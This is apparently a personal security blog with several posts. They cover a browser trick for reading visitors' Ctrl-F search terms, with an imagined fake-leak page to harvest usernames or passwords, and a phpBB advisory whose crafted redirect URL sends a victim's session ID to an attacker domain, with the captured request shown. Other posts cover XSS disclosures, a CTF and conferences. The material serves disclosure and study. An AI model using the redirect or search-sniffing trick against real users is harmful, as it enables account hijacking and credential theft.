hack0r.net

Didn’t you always want to know what your visitors are searching? And I don’t mean searching like what he typed into google, but what term(s) they try to find on your website (e.g. using Ctrl-F).

The idea is pretty straightforward: If you are searching something on a site, your browser will highlight what you are searching for (at least the first hit). So it has to somehow fiddle with the representation of the page. The shadow DOM seems to be presenting itself as a target for this one. For those who have never heard of this I recommend Glazkov (2011). In short it is a way to create and modify elements hidden in the DOM; frequently used by browsers to draw complex items like media player controls. After some reading, trying to find out what the API might be, I stumbled upon document.getSelection(). I didn’t really thought this would work, but in fact it does. Well, at least in Firefox. In Chrome the user has close the search widget to make the searched term available. And in Opera it doesn’t work at all. So what do I mean by “it works”?

Firefox highlights the search result on the page and handles it as a selection. This enables the site to have a look at what you are typing in your search field. But this raises one drawback. The getSelection method only works if the searched term can really be found within the document.

To solve this, a pretty straight forward approach sprung to my mind. I could just generate dynamic content providing all possible next inputs. So I basically generate a base set of printable characters and wait for the user to start his search. Then, as he is typing, I continuously check what the user has typed and append a list of strings to the document using the user’s term and postfix it with every printable character. As long as this happens faster than he is typing and he types consecutively, not changing letters within the search term or at the beginning, it works. Such problems could be tackled by generating more letters in advance and also add them within the words. But the general users behaviour should be covered.

A very simple proof of concept can be found here.

You might wonder by now why this is interesting at all. We have stored all our data at social communities and google knows everything we search for anyhow. This brings me to how I initially got the idea to have a look at this. Once again I saw a tweet about a hacked site, that I am registered at and the leaked accounts were presented at some random pastebin page. So I went there and did what? Of course, I searched for my email address, user name or whatever information might indicate that my account information got leaked and is now accessible for everyone else.

In this scenario, all they can find out is that I am the owner of that account I searched for. No harm done, except some privacy issues if combined with some more snooping. But what if an attacker generates user IDs on the fly based on what the lured user types? Thereby gaining new information about the victim’s user name at site XY or his registered email address, depending what information is presented to him in the fake leak.

This could be taken even one step further. The site could only present numerical user ids and corresponding passwords. Done as a targeted attack this could reveal the user’s password granted that he is careless enough to type his password into a search field of his browser. But the inhibition threshold is probably much lower, because you type it into your own browser not a search function of some site or a search engine.

For those of you who really had a look at the demo, probably two questions/remarks arise.
First question is probably: Why are there 5 divs holding old selection predictions? That is caused by two factors. On the one hand more than one div is needed, because once the found search term gets replaced via JavaScript the selection will be an empty string. On the other hand fast typing will cause fast replacement of the divs and make them error prone, especially when deleting. Still there are some cases in which the script loses track, but the enhancements mentioned above should cure some.

Second remark would be that the generated text is not very carefully hidden. Well, first I thought about leaving it completely default text and therefore easier comprehensible what is going on. But then again I wanted to make it at least somewhat less obvious. Sure with CSS or IFrames or whatever is up your sleeves you can hide it completely from the potential victim.

By the way this also works with Pentadactyl in Firefox and Vimium in Chromium, when searching by “/”. This makes Chromium users using Vimium more susceptible to such an attack.

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Yesterday I informed the phpBB devolpers of a flaw I found, but they neglected this issue and told me that such vulnerabilites are unavoidable. Further they told me, that the session id on its own does not provide access, because there are some other parameters that get checked, like the User-Agent header and something they described as a “very similar IP”. I didn’t look into the implementation, so I don’t know what he meant, but this seems like some interesting implementation.

But lets not get too much into the detail before you know what this is all about. That is what I send to the phpBB security tracker:

I. Problem Description

It is possible for an attacker to gain the SessionID from a victim. The
attacker has to bring the victim to visit a link like

http://www.phpBB-app.com/ucp.php?mode=login&redirect=http://mydoma.in/saveSID.

This will reset the hidden redirect input field on the resulting page to
“http://mydoma.in/saveSID”. If the victim now logs in he will be
redirected to this URL appended with the sid as GET parameter, which
looks like this on the attackers server:
—
GET /saveSID?sid=2d26f6b2f4fc7cf39d3d742e7ca4795e HTTP/1.1
Host: mydoma.in
[...]
—

II. Impact

The leaked SessionID can be used to continue other users sessions and
therefore gaining control over their account.

III. Solution

I would recommend to not allow redirects to foreign domains at all, as
it does not seem to make sense to me.

Lets get back to their objections. The first check, against the User-Agent header really does not provide any security at all, as the attacker only has to copy it from the request he received from the victim.

The second is much more tricky as is comparatively easy to forge an IP, but pretty hard to receive the response to such a request. Well, at least to my knowledge. As far as i could see they use nonces as a session riding prevention, so you need to have the nonce to do state-changing requests.

But nevertheless, I think the sid parameter should be tried as good as possible not to be leaked outside the domain. Maybe someone else knows how to exploit this or somewhen someone will find a way to do so.

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On monday I finished my Bakkalaureatsarbeit. Its somewhat like a bachelor. So I only have to take some more exams, that I even though need for my diploma and then I am allowed to put a BSc in front of my name \begin{proudness} · · · \end{proudness}.

It deals with the subject of making web application vulnerability scanners more effective. We started developing a web application scanner nearly a year ago as a project from the university, on which this elaboration bases. There are some pretty new approaches build in the scanner that are, as far as I know, completely new in web application scanning software developed so far. I am working on this project with Daniel Kreischer, with whom I also wrote the Bakkalaureatsarbeit, and Martin Johns, who supervised the project and paper and gave us many hints, ideas and inspirations.

The scanner itself is not yet ready for release, since it is still under heavy construction to implement all the described features and ideas, but it is supposed to be in the near future. We already tried to hold a talk at the 24C3 last year about this project in an earlier state, but were rejected (at least in the last round as we heard).

If you are interested in this topic or just curious, here is the link to the paper “Bakkalaureatsarbeit: Similarity Examinations of Webpages and Complexity Reduction in Web Application Scanners”. Well it spans over 60 pages so its a little bit more than a usual paper, but if you are already familiar with the web itself and web application security you can certainly skip the first part.

If you are having ideas, concerns or any kind of suggestion, please share it with us.

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I totally forgot to put this one online. It is already half a year old and was the result of a seminar that took place in the winter term 2006/2007.

It discusses both web-application vulnerabilities, like XSS, CSRF, SQL injection and the like, and classical ones, like buffer overflows, format strings and dangling pointer references. Each Vulnerability gets first explained and afterwards we describe protection mechanisms and possible problems about them.

There is only one major drawback, that is, the paper is in German, so you are possibly not able to read. But take this as your chance to learn it. ;)

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It has been a while since I made my last posting, but i hope i can add some content again in the near future.

On thursday, 12.07.2007, the CIPHER 3 took place and we as the CInsects participated in it. For those under you, who doesn’t know what this is finds here a little summary what a CTF is. I had more or less voluntarily agreed to set up our infrastructure, but, as it is in live, hadn’t as much time as I thought I would have. So partly therefore and partly because we always seem to start a little confused we started pretty slow and ranged in the last few places. But as the end got closer we slowly made it more towards the top. In the finish spurt we wrote some obviously pretty good advisories, which brought us to the lead in the advisory section and aggrandised us to the 4th position in the end. We were really excited about this result, since nobody bargained for such a good place after our mulled start.

The results and some statistics will be available next week on the CIPHER 3 homepage. Very interesting is the fact, that the first 6 teams are from Germany. So Germany seems to be getting the country of hackers … erm … I mean security experts ;). Well, possibly it this is only, because it is organized and held by a german team. Here is the final scoreboard. If you are interested in which team is from where and representing whom just compare the numbers with those on the CIPHER 3 homepage.

I want to thank here again Lexi and his crew for making such a cool event possible, taking all the time it needs to prepare it and keeping calm if the players complain when something doesn’t work the way wanted. Naturally I would thank all the other participants too. It was a great game and I hope everyone enjoyed it as much as we did. :)

Update: Stats are available here.

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This weekend the Informatiktage 2007 took place. It was pretty cool and interesting. As I wrote before i attended to the workshop “Security in online banking” which was held by Hans-Peter Dünnwald, Matthias Stoffel and Eberhard Stickel. They were from the “Sparkasseninformatikzentrum” and “Hochschule der Sparkassen-Finanzgruppe”. We were only 5 attendees, so it was a rather relaxed. The workshop was divided into three parts. One on the first day and two on the second.

The first one started a little boring and confused, because only one of three people who should present this workshop were there first and the one who was present was pretty ill. The two other arrived short before the end, they had some meetings. He began the workshop with the basics of cryptography, like what is symmetric and asymmetric encryption and stuff. Most of us already heard and/or read almost everything we were told.

The evening program was called networking. But no we didn’t play computer games. It was more to get in contact with other students and the representatives of the companies that were presenting the workshops or sponsoring the whole congress. And there was free beer, which almost got fatal for me.

On the second day three of us, including me, were able to give a short lecture about our submissions. Too bad Georg and I were a little late, because I had to find a copyshop, which was able to print a black and white poster for under 20 Euro, so we didn’t see the first half of “Rainbow table Cracking”. My lecture was about XSS and Session Riding. I did mostly a live presentation of how it works and then enumerating known countermeasures. Unluckily I seem to have liked talking about XSS too much, so there were only 5 minutes left to talk about Session Riding and so this part got a little chaotic.

The part of the Sparkasse was much more interesting than the day before. They told us about their experiences and way of handling with security and it’s breaches. I was just a little disappointed about their comment on requiring javascript to be able to reach the Haspa onlinebanking section. They only said “Yes I do agree with you. But you always have to choose between security and functionality/design”. Yes i do agree with them, but please choose security if it comes to my money. Well, they told me the new Haspa website is already launched and I just had a look at it and yeah they fortunately did change it. The workshop topic of this second part was basically about the ways the guys with the dark hats do their stuff. It was primarily about phishing techniques, since this is the way the most damage is done.

Between the second and third part of the workshop the poster session took place. I had the feeling, that it got some more attention on the first day and so in the main we did talk to the owners of our neighbouring posters. But maybe it was just because my poster was that ugly and/or uninteresting. I wouldn’t wonder about that too much. I created it in the middle of a night and the print was done by zooming an A4 print to an A1 format, which is not necessarily the best thing to do. But it saved me 10 Euro.

The last part began with the third lecture. It was about trusted computing in mobile environments. The third part then was then mainly about taken precautions and upcoming hardware, used by the Sparkasse. In the near future there will be a small chipcard reader available, that generates a special TAN out of the current EC card and som values of the transaction. But I don’t like the idea too much, because, if I loose my EC card, someone else might be able to generate TAN numbers out of it.

All in all it was really fun. This was one of the seldom chances get to know students from other universities and cities. It gave us the chance to build up connections between individuals with similar interest and, which may be even more interesting not that similar interests and thus a different point of view. I also learned some things about the ways Computer Science is handled in other cities, which was as well pretty interesting.

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So far four websites have fixed their issues due to my report. Seven others seem to be working on it.

I decided to make only the ones, that are fixed, public available at this point. The list can be found here.

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I just played around with some special characters as I stumbled across this. If you insert ‮ into some text, from that point the order of the following characters will be reversed. As far as I can see this has no security implication, since tags are still interpreted in the “right” direction, but this can be very annoying whatsoever and depending on the way the page is written might even kind of deface it. The effect applies on all characters after the this “special character”, that are in the same DOM text element. Well this is not really accurate, because the Source Code gets all converted from that point on, at least in Firefox.

‮So here is a small example what this looks like…

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A few days ago we submitted a paper to the GI, which is originally a part of an abstract M4z and I did for a seminar. They accepted it, what means it will be printed in their magazine. That alone is nothing too cool, since it is more or less a summary of webbased vulnerabilities, but the really cool thing is, that we will be going to Bonn from the 29th to the 31st of March for a workshop at the Informatiktage 2007. And getting even better, the journey as well as the hotel will be getting paid.

We could choose between several different topics. I clearly decided to attend “Security in Online-Banking”, since it was the only security related.
It seems to be held by someone who is at least related to the “Sparkasse” and I am really interested in their point of view. The Haspa, which is Hamburgs branch of the Sparkasse, needs javascript activated to even be able to reach their online banking service. I do not get why they are doing this?! It does not look too security concerned to me. Well they got TANs, so it is not all that easy to ride the session and transfer money to my own account. But there may be other things, that could be modified. And moreover this urges even security aware people to activate javascript and therefore being vulnerable to potential XSS vulnerabilites.
I guess I will be looking what may be done with Session Riding on their site before then. Perhaps I also find some XSS possibility, but this does not appear too likely after a first look.

If you got something similar or even found already a vulnerbaility, please let me know. Maybe it will arise a bit more of their attention when someone is discussing it with them in person.

However, none the less I am really looking forward to this.

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I just mailed most of the websites I found XSS vulnerabilities on. I will give them about a week to respond and then publish the list.

By the way, while collecting the mail addresses to inform them I tried to find out an email address of anyone responsible for something at aol.com, but their page is that well organized that I could not find any. Most of the time they wanted me to log in. But why should I register to an obviously vulnerable website. Thus they got left out.

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